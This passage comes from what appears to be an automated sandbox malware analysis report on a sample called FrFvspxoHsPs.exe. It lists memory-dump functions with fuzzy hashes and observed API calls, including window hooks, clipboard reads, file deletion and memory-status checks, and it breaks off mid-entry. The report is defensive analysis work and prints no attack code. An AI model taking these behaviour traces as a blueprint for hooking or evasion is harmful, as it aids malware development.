Instruction ID: 76b78b4a0a38a70b5ec1eca51f9045b0f2143967bc9ed10ff0931a429c6838ac
Opcode Fuzzy Hash: c6339485bedba07878a9e9d280d7ddae8d990a5e35397f0839b1bcbace9d60d1
Instruction Fuzzy Hash: FBD012B7B144151BDB5014E9B942BF62FC8B74BB71F4904AEE50CC2200F558C4420681

Function 055CB4B0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1502434595.00000000055C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_55c0000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 997a6f16d8bed8da8483b4628bf28d3cd960fb4b02ba02a22bd842901ef56e30
Instruction ID: 8c6232d7ca7aff730b55e7a004c6619ad6bbee5d3985f216b69d78e99b036038
Opcode Fuzzy Hash: 997a6f16d8bed8da8483b4628bf28d3cd960fb4b02ba02a22bd842901ef56e30
Instruction Fuzzy Hash: 87D0C93A310124AF8704AB68E408CA97FE9EB4D6613158066F909C7321CE72DC119BD4

Function 055C2020 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1502434595.00000000055C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_55c0000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a634a98b945aefd0a41ae3507fa7a76b750b094519424c5c693d1d24066d3c58
Instruction ID: 369f1a8cf7a5cfddb3f3c53939d8df85ca51fc0089a3459eb5389cf7aefc4a95
Opcode Fuzzy Hash: a634a98b945aefd0a41ae3507fa7a76b750b094519424c5c693d1d24066d3c58
Instruction Fuzzy Hash: 12B09B3131563517D50431DD642469E769E47C5B60F40406B960D877424DC59C4102E9

Function 055C8F61 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1502434595.00000000055C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_55c0000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15233e458f974485cd9dda7ddf320d5fef316d79729f2e8efcbb07408f7950b2
Instruction ID: eb38a2136279c6297a687552cf8c719900fdf73e881983ecd3e5c6bc5d1f7318
Opcode Fuzzy Hash: 15233e458f974485cd9dda7ddf320d5fef316d79729f2e8efcbb07408f7950b2
Instruction Fuzzy Hash: 4FC0120D30DBC20EEB13A6B00C98A712EAB2AC3300F8980CE9480850A39068888A8722

Function 055C8868 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1502434595.00000000055C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_55c0000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c63055a45eeb4ae8ae8d6e3381b45a0748b663f32349da8a3f0a884f24e2bbca
Instruction ID: 103967bf13f508402a192ef6221732069224ae084a114efb1bafc53f37aadea3
Opcode Fuzzy Hash: c63055a45eeb4ae8ae8d6e3381b45a0748b663f32349da8a3f0a884f24e2bbca
Instruction Fuzzy Hash: BCD0C93614010CEFCB01CF95D844D9A3BBAFF48720F008054FA084B232C332E821EB90

Function 055C34C0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1502434595.00000000055C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_55c0000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec24d64894e5ae284e638b142351f48792eb7552004802f228a52af462c7bd7f
Instruction ID: 3748cc999081365b32b72c4fe9f0fa1c42623fab1e8201ce5acfbd085e5fc9d7
Opcode Fuzzy Hash: ec24d64894e5ae284e638b142351f48792eb7552004802f228a52af462c7bd7f
Instruction Fuzzy Hash: 60C04C39254105EF9B41AB90D998D597BA5FF95305B41DCD5614546020CA36C418E712

Function 055C8DE8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1502434595.00000000055C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_55c0000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eed207713146462f905683fc514a2e9e83f393ce9692d493e296ee49461ae50
Instruction ID: d963871f999922be2078ef17e19e3f60ccbfeecff0c234b898d625d75fb16a3e
Opcode Fuzzy Hash: 0eed207713146462f905683fc514a2e9e83f393ce9692d493e296ee49461ae50
Instruction Fuzzy Hash: 1BB01238204501076A04F1F21CC412605277ED07013C4CC9810010000448345042202A

Function 055C8A2A Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1502434595.00000000055C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_55c0000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fc304a26ba6a9b8e09db51e88682a954301326f375d2764bec1dfa900b44145
Instruction ID: 44325f88c0735b381380062a5feff2017e51146eae13a71bf66922ca7796926e
Opcode Fuzzy Hash: 8fc304a26ba6a9b8e09db51e88682a954301326f375d2764bec1dfa900b44145
Instruction Fuzzy Hash: D1B09237A0400889DB108AC5B8413EEFB20F780335F104467C21652541837201A496D1

Analysis Process: FrFvspxoHsPs.exePID: 764, Parent PID: 8172COMMON

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	323
Total number of Limit Nodes:	24

Executed Functions

Function 06F456A8 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 06F459FB

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 720071a50f236250fd6ea713bbbc59ce33d5cb7ebbebf043fae972c74b4f10e1
Instruction ID: fdb3bd20843ab26552811f2e637f72c2d452998b9bd0833877f80f3b9db79e22
Opcode Fuzzy Hash: 720071a50f236250fd6ea713bbbc59ce33d5cb7ebbebf043fae972c74b4f10e1
Instruction Fuzzy Hash: F622B075E042188FDF64EBA8C4846AEBFB2EF89320F248569D415AB744DB35DC45CB90

Function 06F42710 Relevance: 1.1, Instructions: 1069COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0be5787179d57a280d6fdb35c06750b8e34f536290f773e68cd9c3147dcd0be
Instruction ID: de06d0e62edee14d47b83d1d36d23fd51277a23801ba365d26e950d19dea5f93
Opcode Fuzzy Hash: f0be5787179d57a280d6fdb35c06750b8e34f536290f773e68cd9c3147dcd0be
Instruction Fuzzy Hash: 08A22434E002088FDB64EB69C584B9DBBB2FB49314F5584A9E409EB761DB35ED85CF80

Function 06F46700 Relevance: .8, Instructions: 826COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eacb6f045cb55e34373004c85487461bc5b85dd407f721624dcd917d8de7bf0d
Instruction ID: df8b8aa9fbf842e4547dffc40c4cd3a90e0095d94c7ec031f2d0944a85c3909c
Opcode Fuzzy Hash: eacb6f045cb55e34373004c85487461bc5b85dd407f721624dcd917d8de7bf0d
Instruction Fuzzy Hash: 94627C34E002048FDB54EB68D594BAEBBB2EF89310F248469D916DB790DB35ED45CB90

Function 06F43578 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2e02a3c0d7f160b11b378cd5f60f95b7e98d4dd995517347eba43f6bdcd65b8
Instruction ID: 7f80ceda1f6e515ec4bb4a9c8e7155c939b9a052863a952f76818b5d282dd49a
Opcode Fuzzy Hash: b2e02a3c0d7f160b11b378cd5f60f95b7e98d4dd995517347eba43f6bdcd65b8
Instruction Fuzzy Hash: 3D322D35E10719CFDB14EB69C8906ADF7B6FF89300F60C669D409AB650EF70A985CB90

Function 06F47E90 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d499d592b4d49b9c6ce864a460ebd57dd2157a37949577a6753cf769af31be8c
Instruction ID: 92567c86e0feef4af2edb1cd37ce0ecb04ce66f56f3b48ebbeb976bd431e167f
Opcode Fuzzy Hash: d499d592b4d49b9c6ce864a460ebd57dd2157a37949577a6753cf769af31be8c
Instruction Fuzzy Hash: 63027D34F003158FDB54EB68D8906AEBBB6FF88340F548529D5269B751DB35EC82CB90

Function 06F35EED Relevance: 1.7, APIs: 1, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06F3604A

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 29483f7e3ad8640fcef7ef19f9ae8b5bd9e76e683df2f54c30379e9186395882
Instruction ID: b295b1bdc9d0cbe6b21e5129bf39d2cc9649e8df2ca01177b6816a8bc1856787
Opcode Fuzzy Hash: 29483f7e3ad8640fcef7ef19f9ae8b5bd9e76e683df2f54c30379e9186395882
Instruction Fuzzy Hash: 1351FFB1C04259AFDF15CFA9D884ADDBFB1BF89350F24816AE808AB220D7719855CF90

Function 032180F3 Relevance: 1.6, APIs: 1, Instructions: 119
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000), ref: 032180B0

Memory Dump Source

Source File: 0000000F.00000002.3859634733.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3210000_FrFvspxoHsPs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 0d8aa1c1d004c6e2b9719e97806ab09a28ead7ef4745a487720456c34c56e52b
Instruction ID: 8eefdc092eb152bba0d7de7e0f071eac8b7a959c72a51a2e5eedc84321d59227
Opcode Fuzzy Hash: 0d8aa1c1d004c6e2b9719e97806ab09a28ead7ef4745a487720456c34c56e52b
Instruction Fuzzy Hash: 74418E71E2030A8BDF20CFA5C98079EBBF5EF55710F148469E905EB240E7B5A895CB90

Function 06F35F2E Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06F3604A

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: fca6a511de3fed89d10d99030edfeb65e70f99f1ed51f4816a8358bdab9ba60f
Instruction ID: 526451ff1865e95e1d27c1c9ee93060e710b52f8d4fbc583011949fc082f15bd
Opcode Fuzzy Hash: fca6a511de3fed89d10d99030edfeb65e70f99f1ed51f4816a8358bdab9ba60f
Instruction Fuzzy Hash: A251B0B5D00359AFDB14CFA9D884ADEFFB5BF88310F24812AE818AB210D7759945CF90

Function 06F35F38 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06F3604A

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e86a6db149d9e1d04ec5ab97012cb472298437be4900db59ad2b1e0805a1c49d
Instruction ID: ac69dec2a2dc0b844e97891014b3919afc8feac62c8606e40551f2607feb26fd
Opcode Fuzzy Hash: e86a6db149d9e1d04ec5ab97012cb472298437be4900db59ad2b1e0805a1c49d
Instruction Fuzzy Hash: 7441A0B1D00319EFDB14CFA9D884ADEBBB5BF48310F24812AE419AB210D7759845CF90

Function 0321EE90 Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.3859634733.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3210000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3979bc7f1b9f9906f0f00c354ed68a1219137bfd068fdc6de2d357235adf31cc
Instruction ID: 17eb2bf2287846066f972bd7cc518d9a7798dc407dc6df6e0159ccaa75fef338
Opcode Fuzzy Hash: 3979bc7f1b9f9906f0f00c354ed68a1219137bfd068fdc6de2d357235adf31cc
Instruction Fuzzy Hash: 70319932E183558FC701DB74DC042AABBE0EFC6210F1A46A6D808D7281EB788899C7D0

Function 06F39A14 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06F3AD89

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 41414800d90168cd03a5f69d79ce843784912b216a79d04b0ed9bb9e5aad10f9
Instruction ID: 1c2b7d6ece4b40d8431dc2c599b16d22db3d07e63562b3321357b75ca57d6218
Opcode Fuzzy Hash: 41414800d90168cd03a5f69d79ce843784912b216a79d04b0ed9bb9e5aad10f9
Instruction Fuzzy Hash: 5E415BB5900359CFDB54CF8AC448AAAFBF5FF88314F248459D959AB360D774A840CFA0

Function 06F3D609 Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 06F3D5CB

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: c5e3e93f70b02404490eda25609e24fffd16aa0873d9a58b49abf816b1e2f8d7
Instruction ID: f6b95b228e4496b64c7a19fa8a4066e0280de9500f002f4c2eac340365a48188
Opcode Fuzzy Hash: c5e3e93f70b02404490eda25609e24fffd16aa0873d9a58b49abf816b1e2f8d7
Instruction Fuzzy Hash: 9C31E1729043848FCBA5EF69D88079EFBF1EF89314F14885AD059EB291CB34A844CF51

Function 06F3B430 Relevance: 1.6, APIs: 1, Instructions: 74
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 06F3BA98

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: f2b2cf92fbb6922e03d34f9ffe9abaf1f7bd99defde85824cd01c969ecb14658
Instruction ID: 5501994e0b8fb87a454d8e6d6db98cd412a94b98ed28d7cac699b2a82407acc2
Opcode Fuzzy Hash: f2b2cf92fbb6922e03d34f9ffe9abaf1f7bd99defde85824cd01c969ecb14658
Instruction Fuzzy Hash: F63101B0D0171DDFDB60CF99C994BDDBBF5AB48314F208059E804AB290DBB5A844CB95

Function 0321EF41 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 0321EFDF

Memory Dump Source

Source File: 0000000F.00000002.3859634733.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3210000_FrFvspxoHsPs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 49969526653a1cdddafcec53374b432c6e0c5f0bb6d63a2b4813c61a5d38c3c0
Instruction ID: 8c1dd22d15de4298780f5d440afb80e5eada2a30250665420320d0dd16ac5c4b
Opcode Fuzzy Hash: 49969526653a1cdddafcec53374b432c6e0c5f0bb6d63a2b4813c61a5d38c3c0
Instruction Fuzzy Hash: FF2189B2C0025A8FDB14DFA9D4487DEFBF0EF48320F1585AAE858A7240D7789945CFA1

Function 06F3BA12 Relevance: 1.6, APIs: 1, Instructions: 70
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 06F3BA98

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 514d3aa856cf29e20fef5ae96f1c05c48721c1c4d242e211d11cce1ca553caf6
Instruction ID: cdbeb12f734f35d1b7930c0cd8fcc0d466a2756c99c2b6731ac07ac702ba2582
Opcode Fuzzy Hash: 514d3aa856cf29e20fef5ae96f1c05c48721c1c4d242e211d11cce1ca553caf6
Instruction Fuzzy Hash: B63100B0E01259DFEB64CF99C994BDEBBF1AF48314F248059E404AB290DBB4A845CF55

Function 06F39E30 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06F39EBF

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2ab0817e75aaf38f034f00c8288f9aef4d890b99f48a148403bf0db768236d48
Instruction ID: f30af0752e809868182efef442f1d18ded908160793dcac0b37f84fa9647de8f
Opcode Fuzzy Hash: 2ab0817e75aaf38f034f00c8288f9aef4d890b99f48a148403bf0db768236d48
Instruction Fuzzy Hash: 732105B59002499FDB10CFAAD484ADEFFF4FB48320F14845AE954A3310D374A940CF61

Function 06F39E38 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06F39EBF

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: af409cd7ebf10a0a57f280af43f48819e045cbf5127b54545df6e1d3769a6671
Instruction ID: 7bcdbf6c51e60b28b088bfbebee32821bf21680b17982e2c579d158a0a23cb3c
Opcode Fuzzy Hash: af409cd7ebf10a0a57f280af43f48819e045cbf5127b54545df6e1d3769a6671
Instruction Fuzzy Hash: A021E3B59002499FDB10CF9AD884ADEBBF4FB48320F14841AE918A3350D374A944CF64

Function 06F3D548 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 06F3D5CB

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 5b2f97cdfb30a97ef55b872c86062e2607184508b8ec8409193a199123a62379
Instruction ID: af8c55a775ea04fa4dad349bb089e940d4c403ef7835a433977ab06dd8af970a
Opcode Fuzzy Hash: 5b2f97cdfb30a97ef55b872c86062e2607184508b8ec8409193a199123a62379
Instruction Fuzzy Hash: 97213476D002189FDB54CF9AD844BEEFBF5EF88310F10842AD458A7250C774A944CFA1

Function 03218038 Relevance: 1.6, APIs: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 032180B0

Memory Dump Source

Source File: 0000000F.00000002.3859634733.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3210000_FrFvspxoHsPs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 520983e1d8b1e8ab86273b76435275ff64cd82a553ec0f0387a12f19fb40e7c9
Instruction ID: 8255edb5cafeffd99d1e661f6b8aba757c691633d20aa6c3e657f0fd501d59d8
Opcode Fuzzy Hash: 520983e1d8b1e8ab86273b76435275ff64cd82a553ec0f0387a12f19fb40e7c9
Instruction Fuzzy Hash: 212156B6C1065A8BCB10CF9AD54079EFBF0BF48320F14856AD858A7340D378A954CFA0

Function 06F3D550 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 06F3D5CB

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: e2ee7f44a705a15cb6d9c5bd62feaa827d949334c05e2bee22459f8c14b043d1
Instruction ID: 24b501ddb21a42e606355987bb68166e2c34dceae4819a115c3d876b575cf69c
Opcode Fuzzy Hash: e2ee7f44a705a15cb6d9c5bd62feaa827d949334c05e2bee22459f8c14b043d1
Instruction Fuzzy Hash: 242122B1D002199FDB54DFAAC844BEEFBF5EF88320F10842AE418A7250C774A944CFA0

Function 03218040 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 032180B0

Memory Dump Source

Source File: 0000000F.00000002.3859634733.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3210000_FrFvspxoHsPs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 864e07b3fbea68834792dc865b5eefc6b913ca184e95036bc8a66337b8d0599e
Instruction ID: 2b2aaec8ba957d831077c1acfb06f64198de89a91d9187c38740841c80191c6b
Opcode Fuzzy Hash: 864e07b3fbea68834792dc865b5eefc6b913ca184e95036bc8a66337b8d0599e
Instruction Fuzzy Hash: 1D1133B2C1065A9BCB24CF9AD544B9EFBF4FF48320F14816AD818A7240D378A954CFA5

Function 0321EF78 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 0321EFDF

Memory Dump Source

Source File: 0000000F.00000002.3859634733.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3210000_FrFvspxoHsPs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 504525155b70e40c6331e87a9642f76d548c44ec6e3f81480c815d4df01fe4e0
Instruction ID: 10f8b068f010a295131fa69a06df033c28ea6129c20f46dd7f2ff454851a90bb
Opcode Fuzzy Hash: 504525155b70e40c6331e87a9642f76d548c44ec6e3f81480c815d4df01fe4e0
Instruction Fuzzy Hash: 021123B2C1065A9BDB10CF9AC544BDEFBF4EF48320F15816AE818A7240D378A954CFA5

Function 06F337CC Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 06F34EF6

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7a6b1cff6fe419fb95030ef9bf619b4442b7265a93cd400cb1651a4ebd2e1d87
Instruction ID: 842f8ecbbcc1b41a2d7ab8ac3547fac394ebebb4d653225cf333a7b336195457
Opcode Fuzzy Hash: 7a6b1cff6fe419fb95030ef9bf619b4442b7265a93cd400cb1651a4ebd2e1d87
Instruction Fuzzy Hash: 35113FB6C003498FDB10CF9AC444B9EFBF4EB88220F11842AD828B7210D378A944CFA4

Function 06F34E8A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 06F34EF6

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ca9afc4dc562260040a4e877bcdf6a0a67ea86600136c63d341eeb1ff2e7c66d
Instruction ID: 01d11b45a895537b08f7c5fa47bc60effd9ff66974f3b768d0228c3ce2802be5
Opcode Fuzzy Hash: ca9afc4dc562260040a4e877bcdf6a0a67ea86600136c63d341eeb1ff2e7c66d
Instruction Fuzzy Hash: FE1102B6C006898FDB10CF9AC444BDEFBF4AB89210F15845AD468B7710D379A545CFA5

Function 06F3B30F Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06F3B91D

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f30000_FrFvspxoHsPs.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 737b2f0cc4e0b501a57cab9c3167ef2814229bb4a4ed9e23d5881a1022f6d38a
Instruction ID: 6896e19a0c7d374cd811300ca1111f37422b41abf1a695ad6b93d2192c3d166e
Opcode Fuzzy Hash: 737b2f0cc4e0b501a57cab9c3167ef2814229bb4a4ed9e23d5881a1022f6d38a
Instruction Fuzzy Hash: FF1133B18042498FDB10DF9AD445BDEFBF4EB58320F20845AE958A7700D379A944CFA5

Function 06F3B8C1 Relevance: 1.5, APIs: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06F3B91D

Memory Dump Source

Source File: 0000000F.00000002.3901794104.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

